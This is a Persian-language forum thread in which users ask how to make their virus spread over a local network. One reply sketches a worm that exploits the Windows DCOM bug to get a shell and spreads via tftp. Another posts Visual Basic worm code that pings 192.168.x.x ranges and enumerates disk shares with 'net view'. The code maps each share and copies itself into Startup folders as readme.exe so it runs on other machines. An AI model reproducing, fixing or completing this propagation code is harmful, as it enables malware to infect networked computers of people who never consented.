انتشار ویروس در شبکه محلی

[sheveda]

چیکار کنیم ویروسمون تو شبکه محلی پخش بشه؟

[sheveda]

کسی بلد نیست ؟

[a_persian_boy]

من فکر می کنم باید کرم درست کنی که اول آی پی سیستم هایی که توی شبکه ی محلی باهاشون ارتباط داره رو پیدا کنه که این کار آسونیه بعد خودش رو با سواستفاده از باگ های ویندوز به اونا آپلود کنه و همین کار رو ادامه بده که این دومی کار سختشه.
باید باگ تو ویندوز پیدا کنی.
بلستر این کار رو با سرریز کردن بافر انجام می داد که فکر نکنم با زبان هایی مثه وی بی و دلفی بشه انجام داد.

[sheveda]

چجوری ای پی کامپیوترا رو در بیارم کاری که من میخوام بکنم بدونه باگ ویندوزم میشه

[a_persian_boy]

کاری که من میخوام بکنم بدونه باگ ویندوزم میشه

چطوری؟

[Soheilvb]

آقا يكي اين باگو كامل توضيح بده و يه مثال بزند.

[a_persian_boy]

مثلا Dcom
شما میتونید با استفاده از این باگ ویندوز از سیستم مقابل shell بگیرید.
وقتی shell گرفتید میتونید با tftp فایل ویروسی رو پخش کنید
ولی این باگ قدیمیه
دیگه هم فکر کنم بعید باشه همچین باگ هایی پیدا بشه تو ویندوز

[sheveda]

اصلا من ویروسمو نمیخوام اپلور کنم که نیازبه باگ ذاشته باشم
فقط باید ای پی کامپیوترو داشته باشم
چجوری بدست بیارم؟؟؟؟؟؟

[arnh]

یه مقاله در این زمینه . برای زبان VB آماده کردم که به زودی قرار میدم

[Scorpion]

bezar maham mibinim

[hamedwolf]

من قبلا در یک سایتی اینو پیدا کرده بودم که نوشته بود برای شبکه کردن ویروس ها ! حالا خودم بلد نسیتم باحاش کار کنم و چند تا ارور می ده هر کی بلده راهنمایی کند ؟

Private Sub map_drive ()


On Error Resume Next
Dim buff
Dim combuff
Dim buffadd
Dim fso, folder
Dim r
Dim s
Dim add
Dim sharename
Dim pingbuff, buff2
Dim count
Dim a As String
Dim hm
hm = 1
a = """"
Set fso = CreateObject("scripting.filesystemobject")
Set oshell = CreateObject("WScript.Shell")
For r = ipbuff To ipbuff2
s = 1
add = "192.168." & r & "." & s
oshell.run "%comspec% /C ping -n 1 " & add & " > C:\plog.tmp", 0, True
Set fsoo = CreateObject("scripting.filesystemobject")
Set rdd = fsoo.opentextfile("C:\plog.tmp")
pingbuff = ""
For i = 0 To 3
pingbuff = rdd.readline
Next i
buff2 = InStr(pingbuff, "TTL=")
If buff2 <> "0" Or ipbuff = ipbuff2 Then 'connect suc
For s = 1 To 255
add = "192.168." & r & "." & s
Set oshell_1 = CreateObject("WScript.Shell")
oshell_1.run "%comspec% /C ping -n 1 " & add & " > C:\plog.tmp", 0, True
Set oshell_1 = Nothing
Set fsoo = CreateObject("scripting.filesystemobject")
Set rdd = fsoo.opentextfile("C:\plog.tmp")
pingbuff = ""
For i = 0 To 3
pingbuff = rdd.readline
Next i
buff2 = InStr(pingbuff, "TTL=")
If buff2 <> "0" Then 'connect suc
Set oshell_2 = CreateObject("WScript.Shell")
oshell_2.run "%comspec% /C net view \\" & add & " > C:\clog.tmp", 0, True
Set oshell_2 = Nothing
Set fso = CreateObject("scripting.filesystemobject")
Set rd = fso.opentextfile("C:\clog.tmp")
buff = ""
Do While rd.AtEndOfStream <> True
buff = rd.readline
combuff = Right(Trim(buff), 4)
If Right(combuff, 4) = "Disk" Then
buffadd = Left(buff, 13)
If Len(Trim(buffadd)) > 0 Then
sharename = a & "\\" & add & "\" & Trim(buffadd) & a
vadd = add
vshare = buffadd
Set oshell_3 = CreateObject("WScript.Shell")
oshell_3.run "net use K:" & " " & sharename, vbHide
Set oshell_3 = Nothing
Call getname
test = 0
FileCopy App.Path & "\" & App.EXEName & ".exe", "K:\" & appl & ".exe"
test = Err.Number
If test >= 1 Then
'w
Else
Call log
End If
FileCopy App.Path & "\" & App.EXEName & ".exe", "K:\WINDOWS\Start Menu\Programs\StartUp\readme.exe"

If Err.Number > 0 Then
'w
Else
vshare = "startup98"
Call log
End If
FileCopy App.Path & "\" & App.EXEName & ".exe","K:\Documents andSettings\Administrator\Star tMenu\Programs\StartUp\readme.exe"


If Err.Number > 0 Then
'w
Else
vshare = "startupNT"
Call log
End If
dummy = GetAttr("K:")
If dummy = 0 Then
End If
Set dshell = CreateObject("WScript.Shell")
dshell.run "net use K: /delete ", vbHide
Set dshell = Nothing
End If
End If
Loop
End If
Next s
End If
Next r
Set fso = Nothing
Set fsoo = Nothing
Set oshell = Nothing


End Sub



تو رو خدا اساتید راهنمایی کنید ؟